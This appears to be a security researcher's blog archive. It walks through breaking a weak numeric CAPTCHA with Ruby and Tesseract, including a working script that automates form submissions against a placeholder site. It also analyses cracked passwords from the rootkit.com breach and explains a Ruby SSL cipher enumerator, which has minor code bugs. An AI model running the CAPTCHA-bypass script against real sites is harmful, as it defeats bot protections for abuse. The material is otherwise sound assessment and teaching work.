Saturday, March 19, 2011

Breaking A Weak CAPTCHA implementation

A while back I came across a web application that implemented captcha to prevent automated form entries. The captcha was weak and could be easily solved. Below I summarize the steps followed and provide sample ruby scripts that were used to perform automated form submissions. The page names, form fields etc... are fictitious and do not reflect the exact application data/behavior.


So lets get started. Here is one sample captcha obtained from the website.




My first thought was to try the free "OCR to text" conversion service provided by guys at Free-Ocr. I uploaded few captchas to the website and it could successfully solve almost all of them. One solved capcha is shown below.




Now I knew that the CAPTCHA can be solved, and needed a way to automate the process of solving the captcha. I turned to Tesseract to do that for me. Tesseact enjoys the reputation of being one of the most accurate open source OCR engines available.


Tesseact was downloaded and installed on a windows box. The page requiring captcha input was sourcing captcha's from a php script on the web server. Lets say its path is http://www.test.com/get_captcha.php. The following script helped download a sample captcha, stored it on local file system and then solved it. 


require 'net/http'
tesseract = 'C:\Tesseract-OCR\tesseract.exe'
q = Net::HTTP.new('www.test.com',80)
# Download new captcha
r = q.get("/get_captcha.php")
File.open("captcha.bmp",'wb') do |f|
f.puts r.body
end
# Solve the CAPTCHA
system("#{tesseract} captcha.bmp captcha") #Output gets stored in captcha.txt

Most of the sourced captchas could be successfully solved using the script above. Good! 

The next obvious step was to automate the entire process of form submissions. The application used PHPSESSIONID to associate captchas with sessions. http://www.test.com/home.php was issuing the PHPSESSIONID and the same sesssion value was being sent to /get_captcha.php to retrieve a captcha. To automated the process, following was required:
  1. GET /home.php page and capture the value of PHPSESSIONID.
  2. Retrieve a captcha by accessing /get_captcha.php while using the captured PHPSESSIONID.
  3. Solve the captcha locally
  4. POST the form fields along with PHPSESSIONID and the captcha value
A few more lines to the script above would serve our purpose. The final script looked like below:


require 'net/http'
tesseract = 'C:\Tesseract-OCR\tesseract.exe'
q = Net::HTTP.new('www.test.com',80)
r = q.get("/home.php")
r['set-cookie'] =~ /PHPSESSIONID=(.*?);/
hdr = {'Cookie' => "PHPSESSIONID=#{$1}"}
#get a captcha associated with a valid PHPSESSIONID and solve it
r = q.get("/get_captcha.php",hdr)
File.open("captcha.bmp",'wb') do |f|
f.puts r.body
end
system("#{tesseract} captcha.bmp captcha")
#retrive the captcha value and POST the form details along with valid PHPSESSIONID
captcha = File.read("captcha.txt").strip
q.post('/save_details.php', "fname=gursev&lname=kalra&captcha=#{captcha}" , hdr)



Further Analysis:
The captcha implementation appeared to have more issues. During the analysis around 100 captchas were solved and their values analyzed. Here are the the various observations:
  1. Captchas contained only numerals and hence lesser number of possible combinations.
  2. Out of 100 captchas around 4 duplicate captchas were identified. Thats around 4% of total captchas issued.
  3. Captchas had uneven character distribution with 4's and 5's getting the maximum share of captcha characters. The distribution formed a bell curve with a peak at 4 and 5.

Monday, February 14, 2011

SSLSmart v1.0 Released

Back in 2009, I went to local OWASP chapter meet and presented on SSL Cipher enumeration script that I was using to enumerate SSL Ciphers for my assessments. Feedback was good but soon other things piled up and the script got burried. Later I realized the need for evolving the concept into an open source and cross platform free tool; named it SSLSmart.

SSLSmart was released last month and tool can be downloaded from here (Packetstorm). If you are interested to look at the whitepaper before downloading the entire zip file, you can obtain it from here (Packetstorm).

Here is how a sample SSLSmart run looks like:

Sunday, February 13, 2011

Rootkit.com Password Analysis

rootkit.com succumbed to a social engineering attack and more than 42000 of its user's passwords were made available on internet in clear (here). John the Ripper was used to recover the passwords. Out of curiosity, I analyzed certain aspects of passwords. The results of that analysis are shared below:

Password Lengths: The shortest password in the list was 1 character long and longest was 20 characters in length. A whopping 38.74% passwords were 6 characters in length. Here is the distribution of password lengths:

Length Occurences Percentage
1 16 0.04%
2 20 0.05%
3 270 0.64%
4 1444 3.41%
5 2646 6.24%
6 16424 38.76%
7 8258 19.49%
8 9786 23.09%
9 2029 4.79%
10 971 2.29%
11 250 0.59%
12 157 0.37%
13 62 0.15%
14 23 0.05%
15 8 0.02%
16 3 0.01%
17 1 0.00%
18 0 0.00%
19 2 0.00%
20 4 0.01%

Password Entropy:
Entropy of various cracked passwords was calculated using Eric Monti's rbkb's entropy function that performs chi-square calculation. Clearly, higher the entropy, lesser chances that your password will be guessed or cracked. Having said that, how easy is to remember and key in the passwords that are extremely random and are more than 16 characters in length?

Entropy Count
0 to <1 1620
1 to <2 7388
2 to <3 32071
3 to <4 1292
4 to <5 3
5 to <6 0
6 to <7 0



Cracked Passwords with Highest Entropy: 
Certain cracked passwords had entropy in excess of 4 bits. Table below lists down the cracked passwords with highest entropy. A good dictionary allowed JTR to crack most of the passwords.

# Entropy Password
1 4.321928095 q1w2e3r4t5y6u7i8o9p0
2 4.321928095 1234567890qwertyuiop
3 4.321928095 1q2w3e4r5t6y7u8i9o0p
4 4 1234qwerasdfzxcv
5 3.807354922 abcdefg1234567
6 3.700439718 qwertyuiop123
7 3.700439718 superman12345
8 3.700439718 1qazxcvbnm,./
9 3.664497779 kingoftheworld
10 3.664497779 qwertyuiop[]\\
11 3.584962501 !@#$%^&*()_+
12 3.584962501 fucktheworld
13 3.584962501 1q2w3e!Q@W#E
14 3.584962501 qazxswedcvfr
15 3.584962501 123qweasdzxc
16 3.584962501 1qazxsw23edc
17 3.584962501 q1w2e3r4t5y6
18 3.584962501 asdfghjkl;\'
19 3.584962501 qwerty123456
20 3.584962501 4rfv5tgb6yhn
21 3.584962501 qwe123rty456
22 3.584962501 1qaz2wsx3edc
23 3.584962501 1a2b3c4d5e6f
24 3.584962501 123456qwerty
25 3.584962501 1q2w3e4r5t6y


Password Distribution:
Finally, I looked at password distribution. An overwhelming 51% of cracked passwords were only in lowercase, this was followed by only numeric passwords close to 24%. Passwords using uppercase alphabets along with numerics were least favorite.

Password Type Percentage Share
Only Lowercase 51.81
Lowercase AND Numerals 23.92
Only Numeric 19.9
Alphabets (Uppercase AND Lowercase) 1.32
Alphanumeric 1.25
Passwords With Special Characters 1.11
Only Uppercase 0.45
Uppercase AND Numerals 0.24




Saturday, September 12, 2009

Ruby and OpenSSL Based SSL Cipher Enumeration

In this post, we will write our bare bones Ruby based SSL cipher enumerator to enumerate SSL cipher suites supported by a webserver. Without further delay, lets get started.

Basics:
The first step of every SSL communication is SSL handshake. During SSL handshake, both client and server settle on a common cipher suite to be used for communication. Client initiated "Client Hello" provides server with all the cipher suites it supports. The server responds with the cipher suite it wants to use for communication in the Server Hello message. Image below shows list of cipher suites sent out to the webserver during Client Hello request.



To successfully enumerate supported SSL ciphers, we need to initiate SSL connection with only one cipher suite (for one protocol version) at a time and observe its response.


Initial housekeeping
===============================

  1. require 'net/https'
  2. target_url = "mail.google.com" # Target website
  3. port = 443 # Target Port
  4. protocol_versions = [:SSLv2, :SSLv3, :TLSv1] # Protocol versions support

Extending the HTTP Class
===============================
We will now extend the HTTP class to include two methods that will help us request application home page with one cipher suite at a time. Since classes in Ruby are not closed, we will extend the existing HTTP class.
  1. module Net
  2. class HTTP
  3. def set_context=(value)
  4. @ssl_context = OpenSSL::SSL::SSLContext.new
  5. @ssl_context &&= OpenSSL::SSL::SSLContext.new(value)
  6. end
  7. ssl_context_accessor :ciphers
  8. end
  9. end
Lines 3-6:
def set_context=(value)
@ssl_context = OpenSSL::SSL::SSLContext.new
@ssl_context &&= OpenSSL::SSL::SSLContext.new(value)

end
The set_context= method helps us set context for one HTTP request. By setting context for a HTTP request, we enforce use of cipher suites and protocol version of our choice.

Line 8:
ssl_context_accessor :ciphers
It creates two methods:
  1. ciphers : Return the cipher suite values used.
  2. ciphers= : Set cipher suite for current request.
For more information about ssl_context_accessor, please refer to please refer to net/https.rb in you ruby installation directory.


Getting it work:
===============================
  1. protocol_versions.each do |version|
  2. cipher_set = OpenSSL::SSL::SSLContext.new(version).ciphers
  3. puts "\n======================================="
  4. puts version
  5. puts "========================================="
  6. cipher_set.each do |cipher_name, ignore_me_cipher_version, bits, ignore_me_algorithm_bits|
  7. request = Net::HTTP.new(target_url, port)
  8. request.use_ssl = true
  9. request.set_context = version
  10. request.verify_mode = OpenSSL::SSL::VERIFY_NONE
  11. request.ciphers = cipher_name
  12. beginresponse = request.get("/")
  13. puts "[+] Accepted\t #{bits} bits\t#{cipher_name}"
  14. rescue OpenSSL::SSL::SSLError => e
  15. puts "[-] Rejected\t #{bits} bits\t#{cipher_name}"
  16. rescue #Ignore all other Exceptions
  17. end
  18. end
  19. end

Line 1:
protocol_versions.each do |version|
Loop through the cipher versions we are testing and pass on the value to the code block.

Line 2:
cipher_set = OpenSSL::SSL::SSLContext.new(version).ciphers
Create new context for a give protocol version and return all the ciphers supported by OpenSSL version with which your ruby installation was compiled. The returned value is an array of array. Each element of the returned array is of following format: [name, version, bits, alg_bits]. Here name is cipher suite name, version is the protocol version (SSLv2, TLSv1/SSLv3), bits is key length in bits and alg_bits is the supported key length for the encryption algorithm.

An example cipher suite array for SSLv2 protocol:
[
["DES-CBC3-MD5", "SSLv2", 168, 168],
["IDEA-CBC-MD5", "SSLv2", 128, 128],
["RC2-CBC-MD5", "SSLv2", 128, 128],
["RC4-MD5", "SSLv2", 128, 128],
["DES-CBC-MD5", "SSLv2", 56, 56],
["EXP-RC2-CBC-MD5", "SSLv2", 40, 128],
["EXP-RC4-MD5", "SSLv2", 40, 128]
]

Line 7 and 8:
request = Net::HTTP.new(target_url, port)
request.use_ssl = true
Creates a new HTTP object and enables use of SSL for communication.

Line 9:
request.set_context = version
Sets context of current request to protocol vesion provided. It is very important to set the right context when we want to restrict the cipher suites used. An example should be able to demonstrate it with more clarity.

Consider following two code snips and corresponding packet capture in wireshark. For purpse of experimentation, a connection request was initiated to mail.google.com and "Client Hello" was observed using Wireshark for both the snips. It can be clearly seen in the screenshots that when context is not provided, it is possible that multiple cipher suites for a given cipher name can be chosen. In this case, "RC4-MD5" cipher suite is present in both TLSv1/SSLv3 and SSLv2. When context is not set to SSLv2 or TLSv1/SSLv3, the "Client Hello" will include two cipher suites; one for TLSv1/SSLv3 and other for SSLv2. This results in incorrect enumeration.

For example, certain websites may not allow use of SSLv2. When connection attemps are made using "RC4-MD5" cipher without setting proper context, connection attempts might be successful because the "Client Hello" now contains an additional cipher suite for SSLv3/TLSv1.

# == SNIP 1 Begins ===
request = Net::HTTP.new("mail.google.com", 443)
request.use_ssl = true
request.set_context = :SSLv2
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
request.ciphers = "RC4-MD5"
response = request.get("/")
# == SNIP 1 ENDS ===

















# == SNIP 2 Begins ===
request = Net::HTTP.new("mail.google.com", 443)
request.use_ssl = true
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
request.ciphers = "RC4-MD5"
request.get("/")
# == SNIP 2 Ends ===













The only difference in Snip 1 and Snip 2 is context assignment call, request.set_context = :SSLv2.


Line 10:
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
Prevents certificate verification.

Line 11:
request.ciphers = cipher_name
Sets request ciphers to provided cipher suite.

Line 12 to 17:
beginresponse = request.get("/")
puts "[+] Accepted\t #{bits} bits\t#{cipher_name}"
rescue OpenSSL::SSL::SSLError => e
puts "[-] Rejected\t #{bits} bits\t#{cipher_name}"
rescue #Ignore all other Exceptions
end



Attempt connection to the remote host and fetch the home page. OpenSSL::SSL::SSLError exception is raised when connection attempts fail due to cipher suite mismatch. All other exceptions are ignored. Success and failure of connection combined with exception decides if the cipher suite was supported or rejected.



Putting it all together:
===============================
require 'net/https'
target_url = "mail.google.com"
port = 443
module Net
class HTTP
def set_context=(value)
@ssl_context = OpenSSL::SSL::SSLContext.new #Create a new context
@ssl_context &&= OpenSSL::SSL::SSLContext.new(value)
end
ssl_context_accessor :ciphers
end
end

protocol_versions.each do |version|
cipher_set = OpenSSL::SSL::SSLContext.new(version).ciphers
puts "\n============================================"
puts version
puts "============================================"
cipher_set.each do |cipher_name, ignore_me_cipher_version, bits, ignore_me_algorithm_bits|
request = Net::HTTP.new(target_url, port)
request.use_ssl = true
request.set_context = version
request.ciphers = cipher_name
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
begin
response = request.get("/")
puts "[+] Accepted\t #{bits} bits\t#{cipher_name}"
rescue
OpenSSL::SSL::SSLError => e
puts "[-] Rejected\t #{bits} bits\t#{cipher_name}"
rescue #Ignore all other Exceptions
end
end
end


A Sample Run


Let me know if you have any queries or comments. Thanks for stopping by..

Edit: Sep 23, 2013
Ruby 1.9
Ruby 1.9 handles SSL Ciphers differently than 1.8. The corresponding code to modify Ruby library is available in my free tool SSLSmart's code base on GitHub.